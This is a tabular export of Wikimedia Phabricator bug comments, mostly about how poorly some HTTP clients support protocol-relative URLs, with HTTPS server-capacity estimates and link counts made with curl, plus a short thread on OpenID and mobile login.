
A Microsoft employee responds in that thread:
""Internal to Trident, the download queue has “de-duplication” logic to help ensure that we don’t download a single resource multiple times in parallel.
Until recently, that logic had a bug for certain resources (like CSS) wherein the schema-less URI would not be matched to the schema-specified URI and hence you’d end up with two parallel requests.
Once the resource is cached locally, the bug no longer repros because both requests just pull the cached local file.""",,,1378110352,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,2.0,1.0,6.5,0.0,0.5,0.0,0.5,2.5,0.0,0.0,0.0,0.5,1.0,0.0,9.0,10.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,5.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,14.5,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,7.0,2.5,7.5,2.0,0.5,9.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,2.0,10.5,4.5,0.0,1.0,0.0,2.0,0.0,0.5,2.5,0.0,0.0,1.5,0.0,0.0,4.054889649923897,0.7999429223744292,"I just found out that there is an intermittent a bug in IE with protocol relative stylesheet inclusion, that causes IE to sometimes download the url twice if it is not yet cached.

URL

A Microsoft employee responds in that thread:
""Internal to Trident, the download queue has “de-duplication” logic to help ensure that we don’t download a single resource multiple times in parallel.
Until recently, that logic had a bug for certain resources (like CSS) wherein the schema-less URI would not be matched to the schema-specified URI and hence you’d end up with two parallel requests.
Once the resource is cached locally, the bug no longer repros because both requests just pull the cached local file."""
248412,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"(In reply to comment #7)
> The reason you need more servers is because serving HTTPS is more expensive
> than serving HTTP, because of the encryption overhead. You could have the
> same
> servers doing both HTTP and HTTPS, and I believe that is indeed the plan, but
> you would still need more servers because the CPU cost of serving an HTTPS
> connection is higher, so you need more cores to do the same connection rate.

Didn't Google produce stats claiming that the CPU cost was basically negligible?",,,1375357120,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,2,True,,,-4,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,29.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,9.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6285714285714286,0.7142857142857143,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Didn't Google produce stats claiming that the CPU cost was basically negligible?"
248406,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"(In reply to comment #6)
> This may be a stupid question, but I got asked today and I didn't know the
> answer: if Wikimedia currently has a fairly large number of Web servers
> providing HTTP access, couldn't most of those servers be re-provisioned to
> serve HTTPS instead? I'm not sure why you would need 80 additional servers
> (not that the Wikimedia Foundation couldn't easily afford them, in any case).

The reason you need more servers is because serving HTTPS is more expensive than serving HTTP, because of the encryption overhead. You could have the same servers doing both HTTP and HTTPS, and I believe that is indeed the plan, but you would still need more servers because the CPU cost of serving an HTTPS connection is higher, so you need more cores to do the same connection rate.

Note that the 80 figure is just the current host count (9) multiplied by 9 and rounded off. Ryan pointed out to me that 4 of those 9 servers are old and have only 8 cores, whereas the newer servers have 24 cores. Since CPU is the limiting factor, it's really the core count that should be multiplied by 9. We have 152 cores currently doing HTTPS, so we would need an extra 1368, implying we need 57 additional 24-core servers.",,,1375338954,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,0.5,0.0,6.0,3.5,1.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,2.5,0.0,4.5,10.0,0.0,1.0,0.5,1.0,0.5,1.0,0.0,0.0,0.0,0.5,1.0,0.5,8.0,2.0,0.5,1.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.5,1.0,0.0,0.5,0.5,15.0,0.5,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.5,0.0,1.5,0.0,0.5,0.0,6.5,4.0,10.5,3.5,3.0,8.0,0.0,0.0,0.0,0.5,3.5,0.0,7.0,0.0,5.0,10.0,3.5,0.0,0.0,0.0,5.0,0.0,0.5,1.0,0.5,3.5,3.0,0.0,0.0,3.787793952967525,0.6246360582306831,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The reason you need more servers is because serving HTTPS is more expensive than serving HTTP, because of the encryption overhead. You could have the same servers doing both HTTP and HTTPS, and I believe that is indeed the plan, but you would still need more servers because the CPU cost of serving an HTTPS connection is higher, so you need more cores to do the same connection rate.

Note that the 80 figure is just the current host count (9) multiplied by 9 and rounded off. Ryan pointed out to me that 4 of those 9 servers are old and have only 8 cores, whereas the newer servers have 24 cores. Since CPU is the limiting factor, it's really the core count that should be multiplied by 9. We have 152 cores currently doing HTTPS, so we would need an extra 1368, implying we need 57 additional 24-core servers."
248400,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"(In reply to comment #4)
> My estimate on bug 51002 was that sending all traffic through HTTPS would
> require the HTTPS cluster to be expanded by a factor of 10. Since the
> relevant metric is connection rate, not object rate, bits and upload would
> probably be most of that, since browsers open multiple concurrent connections
> to those servers during a normal request. So you'd be looking at maybe 80
> additional servers.

This may be a stupid question, but I got asked today and I didn't know the answer: if Wikimedia currently has a fairly large number of Web servers providing HTTP access, couldn't most of those servers be re-provisioned to serve HTTPS instead? I'm not sure why you would need 80 additional servers (not that the Wikimedia Foundation couldn't easily afford them, in any case).",,,1375337252,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,2,True,,,-4,True,1.0,0.0,0.0,1.0,5.0,5.0,1.0,0.0,0.0,1.0,3.0,4.0,0.0,0.0,0.0,3.0,0.0,10.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,1.0,1.0,2.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,17.0,3.0,2.0,7.0,0.0,0.0,0.0,1.0,7.0,0.0,2.0,0.0,5.0,9.0,8.0,1.0,0.0,0.0,5.0,0.0,1.0,2.0,1.0,1.0,0.0,1.0,0.0,3.727272727272727,0.7171717171717171,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This may be a stupid question, but I got asked today and I didn't know the answer: if Wikimedia currently has a fairly large number of Web servers providing HTTP access, couldn't most of those servers be re-provisioned to serve HTTPS instead? I'm not sure why you would need 80 additional servers (not that the Wikimedia Foundation couldn't easily afford them, in any case)."
248391,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Maybe worth mentioning, due to protocol-relative URLs our feeds do not validate: ""id must be a full and valid URL"", e.g. <http://validator.w3.org/feed/check.cgi?url=https%3A%2F%2Fwww.mediawiki.org%2Fw%2Findex.php%3Ftitle%3DSpecial%3ARecentChanges%26feed%3Datom%26limit%3D50>

This seems to have caused problems with some version of Thunderbird (bug 44647) and at some point I was unable to use our feeds in Facebook (or maybe FriendFeed; I've not tested recently).",,,1375184393,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,1,True,,,-5,True,3.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,7.0,1.0,8.0,11.0,0.0,3.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,14.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,7.0,11.0,7.0,0.0,3.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.638888888888889,0.8194444444444444,"Maybe worth mentioning, due to protocol-relative URLs our feeds do not validate: ""id must be a full and valid URL"", e.g. <URL

This seems to have caused problems with some version of Thunderbird (bug 44647) and at some point I was unable to use our feeds in Facebook (or maybe FriendFeed; I've not tested recently)."
248383,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"(In reply to comment #3)
> Switching bits and upload to always be HTTPS would resolve a good portion of
> the issue being discussed here. A few minor edits to interface messages would
> also go a long way in resolving most of this bug.

My estimate on bug 51002 was that sending all traffic through HTTPS would require the HTTPS cluster to be expanded by a factor of 10. Since the relevant metric is connection rate, not object rate, bits and upload would probably be most of that, since browsers open multiple concurrent connections to those servers during a normal request. So you'd be looking at maybe 80 additional servers. Maybe it would be worthwhile, but it wouldn't be cheap, either in terms of capital cost or staff time. 

Writing an nginx module to rewrite the URLs would probably be simpler than setting up a cluster of 80 servers.",,,1375157181,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,1,False,,,-5,True,0.5,0.0,0.0,0.5,1.5,7.0,3.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.5,0.0,5.0,12.5,0.0,2.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,4.0,0.0,1.0,0.5,1.5,2.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.5,3.0,0.0,0.0,0.0,16.5,1.0,1.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.5,5.0,7.0,1.5,3.0,6.5,0.0,0.0,0.0,0.5,6.0,0.0,3.0,0.0,3.0,12.5,1.5,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,1.0,0.5,0.0,4.075983717774762,0.7743102668475803,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

My estimate on bug 51002 was that sending all traffic through HTTPS would require the HTTPS cluster to be expanded by a factor of 10. Since the relevant metric is connection rate, not object rate, bits and upload would probably be most of that, since browsers open multiple concurrent connections to those servers during a normal request. So you'd be looking at maybe 80 additional servers. Maybe it would be worthwhile, but it wouldn't be cheap, either in terms of capital cost or staff time. 

Writing an nginx module to rewrite the URLs would probably be simpler than setting up a cluster of 80 servers."
248375,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"(In reply to comment #0)
> Protocol-relative URLs might be various kinds of awesome, and they work with
> every major browser.

This bug somewhat annoyingly fails to mention why protocol-relative URLs are being used. Bug 20342 comment 0 gives a decent overview of why protocol-relative URLs were implemented on Wikimedia wikis.

In reality, most (see rough stats below) URLs in articles are simply relative (""/wiki/Foo"" or ""/w/index.php?title=Foo""), not protocol-relative (""//wikiproject.org/w/index.php?title=Foo""). Resources (bits.wikimedia.org and upload.wikimedia.org) rely on protocol-relativity more than anything else (sending mixed content causes ugly warnings in browsers).

Switching bits and upload to always be HTTPS would resolve a good portion of the issue being discussed here. A few minor edits to interface messages would also go a long way in resolving most of this bug.

(In reply to comment #1)
> I'm tempted to say this is an issue with said badly written clients, not
> MediaWiki, and therefore this is invalid...

We sometimes accomodate stupid clients (as well as stupid users, for that matter). I'm was somewhat inclined to say that this bug is a duplicate of bug 20342 (""Support for protocol-relative URLs (tracking)"") or bug 47832 (""Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon)""), but assuming the numbers I ran below are correct, this bug could simply be a tracking bug with a few (relatively easy) dependencies.

---

Recently featured articles on the English Wikipedia [[Main Page]]:
* [[Barber coinage]]
* [[Harold Davidson]]
* [[War of the Bavarian Succession]]


For [[Barber coinage]]:

$ curl -s --compressed ""https://en.wikipedia.org/wiki/Barber_coinage"" | grep -o '=""//' | wc -l
      76

$ curl -s --compressed ""https://en.wikipedia.org/wiki/Barber_coinage"" | egrep -o '=""/[^/]' | wc -l
     330


For [[Harold Davidson]]:

$ curl -s --compressed ""https://en.wikipedia.org/wiki/Harold_Davidson"" | grep -o '=""//' | wc -l
      46

$ curl -s --compressed ""https://en.wikipedia.org/wiki/Harold_Davidson"" | egrep -o '=""/[^/]' | wc -l
     233


For [[War of the Bavarian Succession]]:

$ curl -s --compressed ""https://en.wikipedia.org/wiki/War_of_the_Bavarian_Succession"" | grep -o '=""//' | wc -l
      91

$ curl -s --compressed ""https://en.wikipedia.org/wiki/War_of_the_Bavarian_Succession"" | egrep -o '=""/[^/]' | wc -l
     362


Summary:
* [[Barber coinage]]: 81.28% of links are simply relative; of the protocol-relative links (76), 71.05% are from bits (18) or upload (36)

* [[Harold Davidson]]: 83.51% of links are simply relative; of the protocol-relative links (46), 63.04% are from bits (15) or upload (14)

* [[War of the Bavarian Succession]]: 79.91% of links are simply relative; of the protocol-relative links (91), 56.04% are from bits (15) or upload (36)



Of the protocol-relative links, there are lots of very low-hanging fruit that could easily be made to always use HTTPS that are deflating the numbers directly above. For example:

* <a href=""//wikimediafoundation.org/wiki/Privacy_policy"" title=""wikimedia:Privacy policy"">Privacy policy</a> [twice]
* <a href=""//en.wikipedia.org/wiki/Wikipedia:Contact_us"">Contact Wikipedia</a>
* <a href=""//wikimediafoundation.org/""><img src=""//bits.wikimedia.org/images/wikimedia-button.png"" width=""88"" height=""31"" alt=""Wikimedia Foundation""/></a>
* <a href=""//www.mediawiki.org/""><img src=""//bits.wikimedia.org/static-1.22wmf11/skins/common/images/poweredby_mediawiki_88x31.png"" alt=""Powered by MediaWiki"" width=""88"" height=""31"" /></a>
* <a rel=""license"" href=""//en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License"">Creative Commons Attribution-ShareAlike License</a>
* <a rel=""license"" href=""//creativecommons.org/licenses/by-sa/3.0/"" style=""display:none;""></a>
* <a href=""//donate.wikimedia.org/wiki/Special:FundraiserRedirector?utm_source=donate&amp;utm_medium=sidebar&amp;utm_campaign=C13_en.wikipedia.org&amp;uselang=en"" title=""Support us"">Donate to Wikipedia</a>
* <link rel=""copyright"" href=""//creativecommons.org/licenses/by-sa/3.0/"" />


These amount to 9 links. Re-running our numbers again, we find:

* [[Barber coinage]]:
  protocol-relative links: 76
    bits.wikimedia.org:    18
    upload.wikimedia.org:  36
    interface:              9
    easily eliminated: 82.89%

* [[Harold Davidson]]:
  protocol-relative links: 46
    bits.wikimedia.org:    15
    upload.wikimedia.org:  14
    interface:              9
    easily eliminated: 82.61%

* [[War of the Bavarian Succession]]:
  protocol-relative links: 91
    bits.wikimedia.org:    15
    upload.wikimedia.org:  36
    interface:              9
    easily eliminated: 65.93%




Basically, as I see it, if instead of griping, you simply provisioned a few more resources servers (upload and bits) and submitted a few edits to MediaWiki messages or changesets to Gerrit, you could resolve somewhere between two-thirds and four-fifths of the problem you're describing in comment 0 without breaking a sweat.

That number gets even higher (probably somewhere around 90–95%) with an additional single edit to [[m:Interwiki map]] and an adjustment to the interlanguage links output, which make up most of the remaining protocol-relative URLs.

For what it's worth.",,,1375148582,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,1,True,,,-5,True,0.5454545454545454,0.09090909090909091,0.09090909090909091,0.45454545454545453,0.09090909090909091,5.181818181818182,1.0909090909090908,0.0,0.0,0.09090909090909091,1.0909090909090908,1.2727272727272727,0.0,0.18181818181818182,0.09090909090909091,0.5454545454545454,0.09090909090909091,3.5454545454545454,6.636363636363637,0.09090909090909091,0.8181818181818182,0.0,0.0,0.09090909090909091,0.7272727272727273,0.09090909090909091,0.0,0.36363636363636365,0.2727272727272727,0.18181818181818182,0.09090909090909091,2.272727272727273,0.36363636363636365,0.18181818181818182,0.8181818181818182,0.2727272727272727,0.0,0.09090909090909091,0.2727272727272727,0.2727272727272727,0.0,0.0,0.18181818181818182,0.5454545454545454,0.0,0.09090909090909091,0.0,0.18181818181818182,0.09090909090909091,15.454545454545455,0.0,0.6363636363636364,0.0,0.45454545454545453,0.0,0.0,0.0,0.0,0.18181818181818182,0.0,0.0,0.2727272727272727,0.18181818181818182,0.09090909090909091,0.0,0.18181818181818182,0.09090909090909091,3.090909090909091,1.8181818181818181,8.909090909090908,0.36363636363636365,1.2727272727272727,4.0,0.0,0.0,0.0,0.18181818181818182,1.8181818181818181,0.0,4.363636363636363,0.0,1.3636363636363635,6.636363636363637,9.090909090909092,0.0,4.363636363636363,0.0,1.3636363636363635,0.09090909090909091,0.5454545454545454,1.7272727272727273,0.0,1.0909090909090908,0.2727272727272727,0.2727272727272727,4.545454545454546,4.087539872408294,0.5871012759170654,"(In reply to comment #0)
QUOTE
QUOTE

This bug somewhat annoyingly fails to mention why protocol-relative URLs are being used. Bug 20342 comment 0 gives a decent overview of why protocol-relative URLs were implemented on Wikimedia wikis.

In reality, most (see rough stats below) URLs in articles are simply relative (""/wiki/Foo"" or ""/w/index.php?title=Foo""), not protocol-relative (""//wikiproject.org/w/index.php?title=Foo""). Resources (bits.wikimedia.org and upload.wikimedia.org) rely on protocol-relativity more than anything else (sending mixed content causes ugly warnings in browsers).

Switching bits and upload to always be HTTPS would resolve a good portion of the issue being discussed here. A few minor edits to interface messages would also go a long way in resolving most of this bug.

(In reply to comment #1)
QUOTE
QUOTE

We sometimes accomodate stupid clients (as well as stupid users, for that matter). I'm was somewhat inclined to say that this bug is a duplicate of bug 20342 (""Support for protocol-relative URLs (tracking)"") or bug 47832 (""Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon)""), but assuming the numbers I ran below are correct, this bug could simply be a tracking bug with a few (relatively easy) dependencies.

---

Recently featured articles on the English Wikipedia [[Main Page]]:
* [[Barber coinage]]
* [[Harold Davidson]]
* [[War of the Bavarian Succession]]


For [[Barber coinage]]:

$ curl -s --compressed ""URL | grep -o '=""//' | wc -l
      76

$ curl -s --compressed ""URL | egrep -o '=""/[^/]' | wc -l
     330


For [[Harold Davidson]]:

$ curl -s --compressed ""URL | grep -o '=""//' | wc -l
      46

$ curl -s --compressed ""URL | egrep -o '=""/[^/]' | wc -l
     233


For [[War of the Bavarian Succession]]:

$ curl -s --compressed ""URL | grep -o '=""//' | wc -l
      91

$ curl -s --compressed ""URL | egrep -o '=""/[^/]' | wc -l
     362


Summary:
* [[Barber coinage]]: 81.28% of links are simply relative; of the protocol-relative links (76), 71.05% are from bits (18) or upload (36)

* [[Harold Davidson]]: 83.51% of links are simply relative; of the protocol-relative links (46), 63.04% are from bits (15) or upload (14)

* [[War of the Bavarian Succession]]: 79.91% of links are simply relative; of the protocol-relative links (91), 56.04% are from bits (15) or upload (36)



Of the protocol-relative links, there are lots of very low-hanging fruit that could easily be made to always use HTTPS that are deflating the numbers directly above. For example:

* <a href=""//wikimediafoundation.org/wiki/Privacy_policy"" title=""wikimedia:Privacy policy"">Privacy policy</a> [twice]
* <a href=""//en.wikipedia.org/wiki/Wikipedia:Contact_us"">Contact Wikipedia</a>
* <a href=""//wikimediafoundation.org/""><img src=""//bits.wikimedia.org/images/wikimedia-button.png"" width=""88"" height=""31"" alt=""Wikimedia Foundation""/></a>
* <a href=""//www.mediawiki.org/""><img src=""//bits.wikimedia.org/static-1.22wmf11/skins/common/images/poweredby_mediawiki_88x31.png"" alt=""Powered by MediaWiki"" width=""88"" height=""31"" /></a>
* <a rel=""license"" href=""//en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License"">Creative Commons Attribution-ShareAlike License</a>
* <a rel=""license"" href=""//creativecommons.org/licenses/by-sa/3.0/"" style=""display:none;""></a>
* <a href=""//donate.wikimedia.org/wiki/Special:FundraiserRedirector?utm_source=donate&amp;utm_medium=sidebar&amp;utm_campaign=C13_en.wikipedia.org&amp;uselang=en"" title=""Support us"">Donate to Wikipedia</a>
* <link rel=""copyright"" href=""//creativecommons.org/licenses/by-sa/3.0/"" />


These amount to 9 links. Re-running our numbers again, we find:

* [[Barber coinage]]:
  protocol-relative links: 76
    bits.wikimedia.org:    18
    upload.wikimedia.org:  36
    interface:              9
    easily eliminated: 82.89%

* [[Harold Davidson]]:
  protocol-relative links: 46
    bits.wikimedia.org:    15
    upload.wikimedia.org:  14
    interface:              9
    easily eliminated: 82.61%

* [[War of the Bavarian Succession]]:
  protocol-relative links: 91
    bits.wikimedia.org:    15
    upload.wikimedia.org:  36
    interface:              9
    easily eliminated: 65.93%




Basically, as I see it, if instead of griping, you simply provisioned a few more resources servers (upload and bits) and submitted a few edits to MediaWiki messages or changesets to Gerrit, you could resolve somewhere between two-thirds and four-fifths of the problem you're describing in comment 0 without breaking a sweat.

That number gets even higher (probably somewhere around 90–95%) with an additional single edit to [[m:Interwiki map]] and an adjustment to the interlanguage links output, which make up most of the remaining protocol-relative URLs.

For what it's worth."
248367,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"(In reply to comment #1)
> I'm tempted to say this is an issue with said badly written clients, not
> MediaWiki, and therefore this is invalid...

It's not about technical correctness, it's about courtesy. Yes, there are hundreds of clients that are broken in this way, and it is the fault of the hundreds of developers who individually wrote those clients, but the easiest place to fix the problem is in MediaWiki and the WMF frontend.

In any case, client compatibility is an essential part of developing web server software. If the site was completely broken in IE or Firefox, you wouldn't say the bug was invalid. The only difference is scale -- whether we should care about the long tail of badly-written HTML parsers. I am saying that we should care.",,,1375145285,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,1,False,,,-5,True,0.5,0.0,0.5,1.0,1.0,4.5,3.0,0.0,0.0,0.5,3.0,0.5,0.0,0.5,0.5,2.0,0.5,3.0,11.0,0.0,1.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,0.0,1.5,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.5,0.5,15.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,6.0,5.5,8.5,2.0,2.0,8.0,0.0,0.0,0.0,0.5,3.0,0.5,0.5,0.0,4.5,11.0,3.0,0.0,0.0,0.0,4.5,0.0,1.0,0.5,0.0,1.5,0.0,0.5,0.0,3.934995737425405,0.7522378516624041,"(In reply to comment #1)
QUOTE
QUOTE

It's not about technical correctness, it's about courtesy. Yes, there are hundreds of clients that are broken in this way, and it is the fault of the hundreds of developers who individually wrote those clients, but the easiest place to fix the problem is in MediaWiki and the WMF frontend.

In any case, client compatibility is an essential part of developing web server software. If the site was completely broken in IE or Firefox, you wouldn't say the bug was invalid. The only difference is scale -- whether we should care about the long tail of badly-written HTML parsers. I am saying that we should care."
248360,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"I'm tempted to say this is an issue with said badly written clients, not MediaWiki, and therefore this is invalid...",,,1375144568,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.041666666666667,0.875,"I'm tempted to say this is an issue with said badly written clients, not MediaWiki, and therefore this is invalid..."
54059,Mobile login not compatible with OpenID,"OpenID adds a link to the header for logging in with OpenID. MobileFrontend does not support this.

Maybe it's possible to add support for this in OpenID, rather than MobileFrontend.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374787620,1676061402.0,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-cxqxcmcth4iw62pm3rak,task_description,resolved,True,c2,1,False,False,False,-5,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,15.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.277777777777778,0.6296296296296297,"OpenID adds a link to the header for logging in with OpenID. MobileFrontend does not support this.

Maybe it's possible to add support for this in OpenID, rather than MobileFrontend.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
2067161,Mobile login not compatible with OpenID,"No reply. Assuming this is resolved. If there is more work to do, please reopen.",,,1676061402,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,True,,,493,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,16.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,3.473684210526316,0.8421052631578947,"No reply. Assuming this is resolved. If there is more work to do, please reopen."
2029201,Mobile login not compatible with OpenID,"Should this still remain open, or did OpenID support simply get fixed by the shift in MobileFrontend to the core login form?",,,1669917133,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,True,,,483,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.291666666666667,0.9583333333333334,"Should this still remain open, or did OpenID support simply get fixed by the shift in MobileFrontend to the core login form?"
520661,Mobile login not compatible with OpenID,"Change 231146 merged by jenkins-bot:
Use core login form

